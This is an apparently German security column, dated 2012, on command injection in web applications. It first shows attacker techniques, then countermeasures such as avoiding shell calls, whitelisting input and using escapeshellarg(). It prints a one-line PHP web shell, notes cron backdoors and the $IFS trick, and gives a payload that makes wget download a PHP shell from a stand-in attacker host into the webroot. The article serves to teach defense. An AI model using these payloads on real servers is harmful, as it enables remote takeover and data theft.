Mittwoch, 8. Februar 2012 |
Im Rahmen der Suche nach Command-Injection-Schwachstellen in Webanwendungen geht es in dieser Folge um die Frage, wie ein Angreifer evtl. vorhandene Einschränkungen umgehen kann. Außerdem erfahren Sie, wie Sie Command Injection in ihrer Webanwendung verhindern können.
In manchen Fällen ist es nicht möglich, einen vollständigen Befehl einzuschleusen. Das könnte z.B. daran scheitern, das benötigte Zeichen ausgefiltert werden oder die verwendete API keinen weiteren Befehl zulässt. Trotzdem kann es möglich sein, den vorhandenen Befehl zu manipulieren, z.B. indem seine Ein- oder Ausgabe auf eine Datei umgelenkt oder Kommandozeilenparameter hinzugefügt werden.
Mit dem Zeichen < kann der Inhalt einer Datei zur Eingabe eines Befehls gemacht werden, während mit dem Zeichen > die Ausgabe eines Befehls in eine Datei umgeleitet wird. Das kann z.B. ausgenutzt werden, um entsprechend den Rechten des betroffenen Befehls beliebige Dateien zu lesen oder in beliebige Dateien zu schreiben. Das beim Lesen auf für den Angreifer möglichst interessante Dateien zugegriffen wird ist logisch. Aber was kann beim Schreiben passieren? "Das kommt drauf an" - eine eher unbefriedigende, aber in diesem Fall äußerst zutreffende Antwort. Und zwar darauf, wie viele eigene Daten der Angreifer in die Ausgabe einfügen kann und wie weit der betroffene Befehl die Ausgabe umformatiert bzw. allgemein verändert. Für den Angreifer ein Glücksfall wäre es, beim Angriff auf eine PHP-Anwendung z.B.
system($_GET[befehl]);
in eine Datei mit der Endung .php zu schreiben, um danach
beliebige Befehle ausführen zu können. Den Code an ein
vorhandenes PHP-Skript anzuhängen, führt nicht zum Ziel, da er
dann nicht zwischen den für das Ausführen des PHP-Codes
notwendigen <?php ... ?> landet. Daher ist es für
den Angreifer zielführender, eine neue Datei mit Endung
.php unterhalb des Webroot-Verzeichnis anzulegen und den
gewünschten Code dort rein zu schreiben. Dabei stößt er auf
ein weiteres Problem: Da < und > bereits durch die Shell für die
Umleitung der Ein- und Ausgabe verwendet werden, müssen sie als
Bestandteil des Texts maskiert werden. Dafür werden wieder Metazeichen
benötigt, die sehr wahrscheinlich ausgefiltert werden oder zum
Verwerfen der Eingabe führen.
Ein weiterer üblicher Angriff ist z.B. das Schreiben zusätzlicher Einträge in eine der Steuerdateien für cron-Jobs, um darüber eine Hintertür zu öffnen.
Die meisten Systembefehle verwenden verschiedene Kommandozeilenparameter
zur Kontrolle ihres Verhaltens. Werden die vom Benutzer gelieferten Daten
als Wert eines Kommandozeilenparameters verwendet, was häufig
vorkommt, kann der Angreifer evtl. weitere Kommandozeilenparameter
einfügen, indem er sie einfach nach einem Leerzeichen in seine Eingabe
schreibt. Zum Beispiel könnte die Webanwendung eine Funktion
enthalten, die eine vom Benutzer übergebene URL anfordert und im
Webbrowser ausgibt. Dafür kann z.B. wget mit dem
Parameter url verwendet werden. Für die Benutzereingabe
http//irgendein.server.example/datei.txt führt das zum
Aufruf von
wget url=http//irgendein.server.example/datei.txt
wget kennt den Kommandozeilenparameter -O, mit
dem eine zu verwendende Ausgabedatei festgelegt wird:
-O /lokaler/pad/datei
Ein Angreifer kann darüber z.B. eine PHP-Shell in eine Datei unter dem Webroot-Verzeichnis schreiben lassen. Der dafür notwendige Eingabewert ist z.B.
http//angreifer.example/phpshell.txt%20-O%20/var/www/phpshell.php
Die %20 sind URL-kodierte Leerzeichen. Zusammengesetzt und
dekodiert ergibt das den Programmaufruf
wget url=http//angreifer.example/phpshell.txt -O /var/www/phpshell.php
Die beste Gegenmaßnahme zur Verhinderung von Command Injection ist der vollständige Verzicht auf direkte Aufrufe von Shell-Befehlen, zumindest aber der Verzicht auf entsprechende Aufrufe mit vom Benutzer manipulierbaren Parametern. Die allermeisten Aufgaben können auch über die nicht für Command Injection anfälligen API gelöst werden.
Lässt es sich überhaupt nicht umgehen, einen Shellbefehl mit einem vom Benutzer manipulierbaren Parameter aufzurufen, muss die Eingabe sehr genau geprüft werden. Wenn irgendwie machbar, sollte die Eingabe mit einer Whitelist zulässiger Werte verglichen werden. Die zweitbeste Lösung ist die Beschränkung auf eine genau festgelegte Menge an Werten, z.B. nur alphanumerische Zeichen oder nur Ziffern. Alle Eingabe mit unzulässigen Werten, insbesondere natürlich Shell-Metazeichen oder Whitespaces, werden verworfen. Unter Unix kann statt eines Whitespace-Zeichens auch die Environment-Variable $IFS mit den Whitespace-Feldseparatoren verwendet werden!
Evtl. hat die Eingabe auch ein genau definiertes Format, das mit Hilfe regulärer Ausdrücke geprüft werden kann. Falls es sich z.B. um eine E-Mail-Adresse handelt, kann deren Aufbau überprüft und jede syntaktisch ungültige E-Mail-Adresse verworfen werden.
Als zusätzlichen Schutz können API-Befehle für den Aufruf
der Shell-Befehle verwendet werden, die die Eingaben zusätzlich
prüfen und/oder die Metazeichen nicht unterstützen wie z.B. die
Java-API Runtime.exec. In PHP schützen die
Filterfunktionen escapeshellarg() und
escapeshellcmd() vor eingeschleusten Befehlen.
In der nächsten Woche gibt es das traditionelle Weihnachts-Special mit Lesetipps und mehr. In der nächsten regulären Folge wird das Einschleusen von Schadcode in Skriptsprachen und die Suche danach beschrieben.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!